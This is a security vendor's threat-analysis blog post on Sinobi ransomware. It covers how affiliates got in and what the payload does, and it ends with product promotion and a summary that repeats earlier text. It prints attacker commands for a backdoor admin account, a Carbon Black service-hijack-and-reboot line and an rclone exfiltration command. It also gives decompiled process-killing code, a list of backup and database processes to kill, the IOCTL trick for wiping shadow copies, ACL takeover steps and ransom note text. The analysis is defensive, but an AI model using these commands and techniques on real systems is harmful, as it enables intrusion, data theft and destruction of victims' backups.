How Sinobi Ransomware Encrypts Files and Destroys Backups

Umut Bayram | 7 MIN READ

| June 21, 2026

Sinobi is a ransomware strain first observed in July 2025, likely a rebrand of Lynx ransomware (active since 2024). It operates as Ransomware-as-a-Service. It encrypts files using Curve-25519 + AES-128-CTR, appends a .SINOBI extension, and drops a README.txt ransom note. Attackers demand negotiation within 7 days and replace the desktop wallpaper with the ransom note.

Key Takeaways

Sinobi ransomware appeared in July 2025 as a likely rebranding of Lynx ransomware, a Ransomware-as-a-Service operation active since 2024, based on shared code and similar data leakage sites.
The encryption uses Curve-25519 Diffie-Hellman combined with AES-128-CTR, generating a unique key per file.
Sinobi destroys Volume Shadow Copies via a DeviceIoControl abuse, avoids noisy vssadmin commands that EDR tools typically flag, and empties the Recycle Bin to block standard recovery paths.
Encrypted files receive a .SINOBI extension and a footer containing the victim's ephemeral public key. Attackers set a 7-day negotiation deadline and replace the desktop wallpaper with the ransom note.
Picus Security Validation Platform includes dedicated threats for Sinobi (Threat IDs 84846 and 81130), allowing security teams to simulate Sinobi attacks and test their defenses.

Sinobi ransomware first appeared in July 2025 as a potential rebranding of Lynx ransomware, which is a Ransomware-as-a-Service business model active since 2024. The resemblance of Sinobi and Lynx executable files on the code level, as well as similar data leakage websites, corroborates the assumption of rebranding.

The encryption algorithm used by Sinobi ransomware includes the Curve-25519 Diffie-Hellman cipher supplemented by AES-128-CTR to generate a unique key for each file.

In addition to that, it deletes Volume Shadow Copies through a documented DeviceIoControl abuse, empties the Recycle Bin, mounts hidden volumes, and uses Restart Manager APIs plus permission overrides to force-encrypt locked files. Encrypted files carry a .SINOBI extension and a trailing footer containing the victim's ephemeral public key for decryption by the operators.

How Does Sinobi Ransomware Work?

Initial Access and Exfiltration Before Encryption

In the observed intrusion [1], the affiliate authenticated to a SonicWall SSL VPN appliance using credentials stolen from a third-party MSP. The account was linked to an Active Directory user holding domain administrator privileges, which collapsed the perimeter instantly.

Once inside the network, the affiliate pivoted to a file server over RDP.

Then, the attacker created a secondary administrative account named "Assistance" and promoted it into both local and domain administrators groups. This gives the operator a fallback identity if the original account gets disabled during response.

The commands are standard net utility calls wrapped in cmd /c:

cmd /c net localgroup administrators Assistance /add
cmd /c net user Assistance /add
cmd /c net localgroup "domain admins" Assistance /add

The affiliate then disabled the Carbon Black service at the next boot.

sc config cbdefense start= disabled
cmd /c sc config cbdefense binpath= "C:\programdata\bin.exe" & shutdown /r /t 0

The second is more interesting: it rewrites the service's binary path to point at the ransomware payload (bin.exe), then forces an immediate reboot. On restart, the service control manager launches the ransomware automatically.

After that, the operator used RClone, an open-source command-line tool for syncing data to cloud and remote storage backends.

rclone.exe --config=c:\programdata\rclone-ssh.conf copy <REDACTED_SRC_PATH> remote:<REDACTED_DEST_PATH> --max-age=2y

The --max-age=2y flag restricts the copy to files modified within the last two years, filtering out archival noise and prioritizing active, business-relevant data.

Ransomware Execution: Payload Analysis

Sinobi takes command-line switches, including --help and --kill, and runs through a deterministic kill-chain before beginning encryption.

Recycle Bin wipe

Before touching user files, Sinobi calls SHEmptyRecycleBinA, a Windows Shell API that empties every recycle bin on the system.

This prevents victims from recovering deleted file versions through the normal Windows interface.

Hidden volume enumeration

The ransomware walks through drive letters and mounts hidden volumes it finds, broadening the encryption surface beyond what the user normally sees.

Shadow copy destruction

Rather than the common vssadmin delete shadows approach (which is noisy and flagged by every EDR product), Sinobi opens each volume and issues DeviceIoControl with IOCTL code 0x53C028 (IOCTL_VOLSNAP_SET_MAX_DIFF_AREA_SIZE) and an input buffer of zero.

Volume Shadow Copy Service tracks changed blocks in a diff area of configurable size; setting that size to zero forces Windows to discard all existing shadow copies on the volume.

Process termination (with --kill)

When the --kill switch is passed, Sinobi terminates processes whose names contain any of:

sql, veeam, backup, exchange, java, notepad

The targets are database engines, backup agents (Veeam is common in enterprise environments), mail servers, and generic process types likely to hold file handles open. Killing them unlocks files for encryption and disrupts data recovery.

File handle clearing via Restart Manager

For every file it queues, Sinobi opens a Restart Manager session. Restart Manager is a legitimate Windows facility designed for installers, letting them detect which processes have a file locked and terminate them cleanly. The ransomware abuses this design [1]:

if ( RmStartSession(&pSessionHandle, 0, v19) || RmRegisterResources(pSessionHandle, 1u, &rgsFileNames, 0, 0LL, 0, 0LL) )
return 0;
dwRebootReasons = 0;
pnProcInfoNeeded = 0;
pnProcInfo = 0;
if ( RmGetList(pSessionHandle, &pnProcInfoNeeded, &pnProcInfo, 0LL, &dwRebootReasons) != 234 || !pnProcInfoNeeded )
{
RmEndSession(pSessionHandle);
return 0;
}

...
# The check 'ApplicationType != RmExplorer && ApplicationType != RmCritical' spares Explorer and system-critical processes, keeping the desktop responsive so the victim sees the ransom note.

if ( ApplicationType != RmExplorer && ApplicationType != RmCritical )
{
dwProcessId = v5[v8].Process.dwProcessId;
if ( GetCurrentProcessId() != dwProcessId )
{
v11 = OpenProcess(0x100001u, 0, dwProcessId);
v12 = v11;
if ( v11 != (HANDLE)-1LL )
{
TerminateProcess(v11, 0);
WaitForSingleObject(v12, 0x1388u);
CloseHandle(v12);
}
}
}

ACL takeover

If Sinobi cannot write to a file due to permissions, it constructs a Discretionary Access Control List granting the Everyone SID GENERIC_ALL rights.

When SetNamedSecurityInfoW fails, it enables SeTakeOwnershipPrivilege, reassigns file ownership, and retries the DACL write.

Encryption Phase

Sinobi uses Curve-25519 combined with AES-128-CTR.

The flow per file [1]:

The attacker's public key ships with the binary as a base64 string. Sinobi decodes it to 32 raw bytes using CryptStringToBinaryA with the CRYPT_STRING_BASE64 flag.
A fresh 32-byte private key is generated for each file using CryptGenRandom, Microsoft's cryptographically secure pseudorandom number generator.
The private key’s specific bits are cleared and set per Curve-25519 requirements, then combined with the attacker's public key to produce a shared secret through ECDH.
The shared secret is hashed with SHA-512. The first 16 bytes of that hash become the AES-128 key; the next 16 bytes become the CTR counter block.
The victim's private key is discarded immediately after use.

File encryption is performed in different modes, chosen by the attacker. This determines the percentage of the file encrypted. There is an option to partially encrypt the file (5%, 15%, 25%).

After encryption, the output filename is built by concatenating the original name with a .SINOBI extension.

Each encrypted file receives a footer so the attacker's decryptor can reconstruct the per-file key. Some fields in the footer structure are shown below:

curve25519_pubkey (32 bytes) - Victim's ephemeral public key

Encryption_mode (4 bytes) - Which encryption mode is selected for this file?

finished_encrypting (4 bytes) - Encryption finished successfully on this file?

During decryption, the operator reads the victim's public key from the footer, performs ECDH with their private key, SHA-512 hashes the result, and recovers the AES key and counter.

Sinobi writes README.txt to every directory containing encrypted files. The part of the content is given below:

Good afternoon, we are Sinobi Group.

As you can see you have been attacked by us! We offer you to make a deal with us. all you need to do is contact us by following the instructions below.

We are not politically motivated group, we are interested only in money, we always keep our word. You have a possibility to decrypt your files and save your reputation in case we find good solution!
You have to know we do not like procrastination. You have 7 days to come to the chat room and start negotiations.

...

After dropping notes, Sinobi renders a text image of the ransom note, writes it to disk, and sets the registry value HKCU\Control Panel\Desktop\Wallpaper to show the ransom note as wallpaper.

How Picus Simulates Sinobi Ransomware Attacks?

We also strongly suggest simulating Sinobi Ransomware Attacks to test the effectiveness of your security controls against real-life cyber attacks using the Picus Security Validation Platform. You can also test your defenses against hundreds of other ransomware variants, such as Warlock, BlackCat, Black Basta, and Akira, within minutes with a 14-day free trial of the Picus Platform.

Picus Threat Library includes the following threats for the Sinobi Ransomware Attacks:

Threat ID	Threat Name	Attack Module
84846	Sinobi Ransomware Download Threat	Network Infiltration
81130	Sinobi Ransomware Email Threat	E-mail Infiltration

Start simulating emerging threats today and get actionable mitigation insights with a 14-day free trial of the Picus Security Validation Platform.

References

[1] “Threat Actors Deploy Sinobi Ransomware via Compromised SonicWall SSL VPN Credentials,” eSentire. Accessed: Apr. 18, 2026. [Online]. Available: https://www.esentire.com/blog/threat-actors-deploy-sinobi-ransomware-via-compromised-sonicwall-ssl-vpn-credentials

Sinobi is a ransomware strain first observed in July 2025. Evidence points to a rebranding of Lynx ransomware, a Ransomware-as-a-Service operation active since 2024. Code-level resemblance between Sinobi and Lynx executables, along with similar data leakage websites, supports this connection. Sinobi appends the .SINOBI extension to encrypted files and drops a README.txt ransom note.

Sinobi combines Curve-25519 Diffie-Hellman with AES-128-CTR. A fresh 32-byte private key is generated per file using CryptGenRandom, then combined with the attacker's public key through ECDH. The shared secret is hashed with SHA-512 to produce the AES key and counter. Attackers select partial encryption modes of 5%, 15%, or 25% to speed up the process.

In the observed intrusion, affiliates authenticated to a SonicWall SSL VPN appliance using credentials stolen from a third-party MSP. The compromised account held domain administrator privileges. Affiliates pivoted over RDP, created a backup admin account named "Assistance," and disabled the Carbon Black service by rewriting its binary path to point at the ransomware payload before forcing a reboot.

Sinobi destroys Volume Shadow Copies by calling DeviceIoControl with IOCTL code 0x53C028 and a zero-size input buffer, forcing Windows to discard shadow copies. This method avoids the noisy vssadmin delete shadows command flagged by EDR tools. Sinobi also empties every recycle bin on the system using the SHEmptyRecycleBinA Windows Shell API.

Sinobi abuses the Windows Restart Manager API to detect processes holding file handles open and terminate them cleanly, while sparing Explorer and system-critical processes. The --kill switch terminates processes containing names like sql, veeam, backup, exchange, java, and notepad. For permission-restricted files, Sinobi overrides ACLs by granting the Everyone SID GENERIC_ALL rights.

Picus Security Validation Platform includes dedicated threats for Sinobi ransomware simulation. Threat ID 84846 covers the Sinobi Ransomware Download Threat through Network Infiltration, and Threat ID 81130 covers the Sinobi Ransomware Email Threat through E-mail Infiltration. A 14-day free trial lets you test defenses against Sinobi and hundreds of other ransomware variants, including Warlock, BlackCat, Black Basta, and Akira.